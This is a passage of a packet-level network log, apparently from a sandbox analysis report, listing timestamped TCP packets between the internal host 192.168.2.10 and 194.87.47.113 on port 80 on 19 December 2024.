Dec 19, 2024 08:21:19.759571075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759605885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759658098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759687901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.759701014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759757996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759759903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.759851933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759901047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.761034012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.761090040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.761138916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.762522936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.762641907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.762691021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.764055014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.764209032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.764259100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.765583038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.765650988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.765698910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.767060995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.767215967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.767271042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.768646002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.768745899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.768793106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.770143032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.770255089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.770309925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.771640062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.771759987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.771806002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.773185015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.773240089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.773288012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.774740934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.774849892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.774900913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.776259899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.776348114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.776398897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.777776957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.777872086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.777968884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.779273987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.779409885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.779464960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.780770063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.825756073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.881897926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.882029057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.882093906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.882627010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.882704973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.882759094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.884042978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.884165049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.884234905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.885608912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.885679007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.885737896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.886270046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.886425018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.886478901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.887835026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.888020992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.888077974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.889163971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.903382063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.903448105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.903453112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.903920889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.903974056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.904011011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.905227900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.905263901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.905276060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.906368017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.906419039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.906492949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.907794952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.907843113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.907958031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.909239054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.909279108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.909285069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.910059929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.910106897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.910176992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.911292076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.911350012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.911364079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.912614107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.912678957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.912924051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.913887024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.913899899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.913944006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.914940119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.914989948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.915054083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.916151047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.916204929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.916234970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.917388916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.917443037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.917577028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.918615103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.918679953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.918729067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.919806004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.919851065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.919929981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.921032906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.921080112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.921159983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.922266960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.922307014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.922380924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.923517942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.923557997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.923608065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.924772978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.924814939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.924829006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.925949097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.925996065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.926058054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.927182913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.927238941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.927274942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.928440094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.928493977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.928514004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.929656029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.929708958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.929752111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.930869102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.930921078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.930977106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.932238102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.932290077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.932367086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.933545113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.933562994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.933588028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.934699059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.934745073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.934777021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.935810089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.935853958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.935931921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.936959982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.937004089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.937050104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.938210964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.938235044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.938255072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.939436913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.939480066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.939497948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.940618038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.940660954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.940732956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.941903114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.941945076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.941982985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.943106890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.943150997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.943192005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.944303036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.944344997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.944375992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.945523977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.945583105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.945647001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.946758032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.946798086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.946804047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.947992086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.948035955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.948122025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.949202061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.949248075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.949297905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.997639894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.053332090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.053384066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.053423882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.053823948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.053894997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.053925991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.054924965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.054995060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.055027962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.056149006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.056194067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.056231022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.056864023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.057007074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.057054043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.058135033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.058212996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.058250904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.059259892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.059401035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.059536934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.060524940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.060658932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.060697079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.061702013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.061809063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.061849117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.074543953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.074667931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.074829102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.075232029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.075392008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.075438976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.076519012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.076572895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.076612949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.077739000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.077761889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.077903032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.078986883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.079103947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.079142094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.080260992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.080375910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.080410004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.081432104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.081540108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.081577063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.095623970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.095660925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.095702887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.096151114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.096215963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.096250057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.097274065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.097373009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.097410917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.098551035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.098717928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.098788977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.099899054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.100013971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.100048065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.101099968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.101217985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.101249933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.102211952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.102329969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.102366924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.104016066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.104137897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.104172945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.104892015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.104979038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.105012894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.105907917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.105983019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.106018066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.107209921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.107235909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.107271910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.108505964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.108561993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.108597040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.109505892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.109643936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.109683037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.110794067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.110893965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.110933065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.111948013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.112055063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.112087965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.113189936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.113313913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.113353968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.114479065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.114639997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.114681005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.115875959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.116002083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.116039991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.117028952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.117151976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.117189884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.118160009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.118293047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.118331909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.119285107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.119400978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.119436979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.120589018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.120764017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.120812893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.121745110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.121828079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.121870041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.123060942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.123166084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.123214960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.124195099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.124351025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.124382973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.125447035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.125560999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.125603914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.126688004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.126806974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.126847982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.127836943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.127950907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.127990007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.129096031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.129192114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.129234076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.130378962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.130511045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.130553007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.131527901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.131580114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.131624937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.132844925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.132946014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.133013964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.166611910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.166685104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.166731119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.227307081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.227389097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.227451086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.227886915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.227960110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.228008986 CET	49720	80	192.168.2.10	194.87.47.113
